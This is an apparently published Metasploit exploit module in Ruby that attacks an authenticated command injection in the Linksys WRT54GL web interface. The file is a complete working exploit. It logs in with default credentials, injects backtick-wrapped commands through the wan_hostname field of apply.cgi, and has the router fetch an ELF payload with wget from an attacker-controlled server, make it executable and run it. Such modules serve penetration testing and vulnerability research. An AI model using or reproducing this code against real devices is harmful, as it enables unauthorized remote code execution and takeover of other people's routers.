##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'	=> 'Linksys WRT54GL apply.cgi Command Execution',
      'Description' => %q{
          Some Linksys Routers are vulnerable to an authenticated OS command injection in
        the Web Interface. Default credentials are admin/admin or admin/password. Since it
        is a blind os command injection vulnerability, there is no output for the executed
        command when using the cmd generic payload. A ping command against a controlled
        system could be used for testing purposes. The user must be prudent when using this
        module since it modifies the router configuration while exploitation, even when it
        tries to restore previous values.
      },
      'Author'      =>
        [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2005-2799' ],
          [ 'OSVDB', '89912' ],
          [ 'BID', '57459' ],
          [ 'EDB', '24202' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
        ],
      'DisclosureDate' => '2013-01-18',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'	=>
        {
          'DisableNops' => true
        },
      'Targets'	=>
        [
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
        OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])
      ])
  end


  def get_config(config, pattern)
    if config =~ /#{pattern}/
      return $1
    end
    return ""
  end

  def grab_config(user,pass)
    print_status("#{rhost}:#{rport} - Trying to download the original configuration")
    begin
      res = send_request_cgi({
        'uri'     => '/index.asp',
        'method'  => 'GET',
        'authorization' => basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        if res.body =~ /lan_ipaddr_0/
          print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
        else
          fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
        end
      else
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end

    #now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
    @now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
    if @now_proto_orig !~ /dhcp/
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
    end
    @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
    if @wan_proto_orig !~ /dhcp/
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
    end
    @lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
    @daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
    @lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
    @wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
    @need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
    @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
    @lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
    @lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
    @lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\\(this,1,254,'IP'\\)\;Sel_SubMask\\(this.form.lan_netmask,this.form\\);\"\ size=3" <<
      "\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
    @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>")
    @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>")
    @wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Host%20Name\"\\)><\/FONT><\/TD>")
    @wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\\(this\\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
    if @wan_mtu_orig.to_i > 1500
      @mtu_enable = "0"
    end
    @ui_language_orig = get_config(res.body, "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>")
    @dhcp_lease_orig = get_config(res.body, "<INPUT\ maxLength=4\ onBlur=valid_range\\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num")
    @dhcp_num_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\\)\;Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)" <<
      "\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>")
    @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " <<
      "onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">")
    @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>")
    @wan_dns_orig = get_config(res.body, "<input\ type=hidden\ name=wan_dns\ value=(.*)><INPUT\ maxLength=3")
    @wan_dns0_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>")
    @wan_dns0_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>")
    @wan_dns0_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>")
    @wan_dns0_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>")
    @wan_dns1_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>")
    @wan_dns1_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>")
    @wan_dns1_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>")
    @wan_dns1_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>")
    @wan_dns2_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>")
    @wan_dns2_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>")
    @wan_dns2_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>")
    @wan_dns2_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>")
    @wan_wins_orig = get_config(res.body, "<input\ type=hidden\ name=wan_wins\ value=(.*)><INPUT\ maxLength=3")
    @wan_wins_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>")
    @wan_wins_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>")
    @wan_wins_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>")
    @wan_wins_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>")
  end

  def restore_conf(user,pass,uri)
    # we have used most parts of the original configuration
    # just need to restore wan_hostname
    cmd = @wan_hostname_orig.to_s
    print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")

    res = request(cmd,user,pass,uri)

    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
    end

    #the device needs around 10 seconds to apply our current configuration
    print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
    select(nil, nil, nil, @timeout)
  end

  def request(cmd,user,pass,uri)
    begin
      res = send_request_cgi({
        'uri'    => uri,
        'method' => 'POST',
        'authorization' => basic_auth(user,pass),
        'encode_params' => false,
        'vars_post' => {
          'submit_button' => "index",
          'change_action' => "1",
          'submit_type' => "1",
          'action' => "Apply",
          'now_proto' => @now_proto_orig.to_s,
          'daylight_time' => @daylight_time_orig.to_s,
          'lan_ipaddr' => @lan_ipaddr_orig.to_s,
          'wait_time' => @wait_time_orig.to_s,
          'need_reboot' => @need_reboot_orig.to_s,
          'ui_language' => @ui_language_orig,
          'wan_proto' => @wan_proto_orig.to_s,
          'router_name' => @router_name_orig.to_s,
          'wan_hostname' => cmd,
          'wan_domain' => @wan_domain_orig.to_s,
          'mtu_enable' => @mtu_enable.to_s,
          'wan_mtu' => @wan_mtu_orig.to_s,
          'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
          'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
          'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
          'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
          'lan_netmask' => "255.255.255.#{@netmask_orig}",
          'lan_proto' => @lan_proto_orig.to_s,
          'dhcp_check' => "1",
          'dhcp_start' => @dhcp_start_orig.to_s,
          'dhcp_num' => @dhcp_num_orig.to_s,
          'dhcp_lease' => @dhcp_lease_orig.to_s,
          'wan_dns' => @wan_dns_orig.to_s,
          'wan_dns0_0' => @wan_dns0_0_orig.to_s,
          'wan_dns0_1' => @wan_dns0_1_orig.to_s,
          'wan_dns0_2' => @wan_dns0_2_orig.to_s,
          'wan_dns0_3' => @wan_dns0_3_orig.to_s,
          'wan_dns1_0' => @wan_dns1_0_orig.to_s,
          'wan_dns1_1' => @wan_dns1_1_orig.to_s,
          'wan_dns1_2' => @wan_dns1_2_orig.to_s,
          'wan_dns1_3' => @wan_dns1_3_orig.to_s,
          'wan_dns2_0' => @wan_dns2_0_orig.to_s,
          'wan_dns2_1' => @wan_dns2_1_orig.to_s,
          'wan_dns2_2' => @wan_dns2_2_orig.to_s,
          'wan_dns2_3' => @wan_dns2_3_orig.to_s,
          'wan_wins' => @wan_wins_orig.to_s,
          'wan_wins_0' => @wan_wins_0_orig.to_s,
          'wan_wins_1' => @wan_wins_1_orig.to_s,
          'wan_wins_2' => @wan_wins_2_orig.to_s,
          'wan_wins_3' => @wan_wins_3_orig.to_s,
          'time_zone' => "-08+1+1",		#default is ok
          '_daylight_time' => '1'			#default is ok
          }
        })
      return res
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost} - Failed to connect to the web server")
      return nil
    end

  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    uri = '/apply.cgi'
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    rhost = datastore['RHOST']
    rport = datastore['RPORT']
    restore = datastore['RESTORE_CONF']
    @timeout = 10

    #
    # testing Login
    #
    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    begin
      res = send_request_cgi({
        'uri'     => uri,
        'method'  => 'GET',
        'authorization' => basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
      else
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end


    grab_config(user,pass)

    if target.name =~ /CMD/
      if not (datastore['CMD'])
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      cmd = payload.encoded
      cmd = "`#{cmd}`"
      res = request(cmd,user,pass,uri)
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
      else
        print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
      end
      print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
      select(nil, nil, nil, @timeout)
      restore_conf(user,pass,uri) if restore
      return
    end

    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
    end

    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    #not working if we send all command together -> lets take three requests
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
    cmd = "`#{cmd}`"
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      #waiting some time so we could be sure that the device got the payload from our third party server
      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    cmd = "`#{cmd}`"
    print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
    select(nil, nil, nil, @timeout)

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    cmd = "`#{cmd}`"
    print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
    select(nil, nil, nil, @timeout)

    #
    #reload original configuration
    #
    if restore
      restore_conf(user,pass,uri)
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end
  end
end
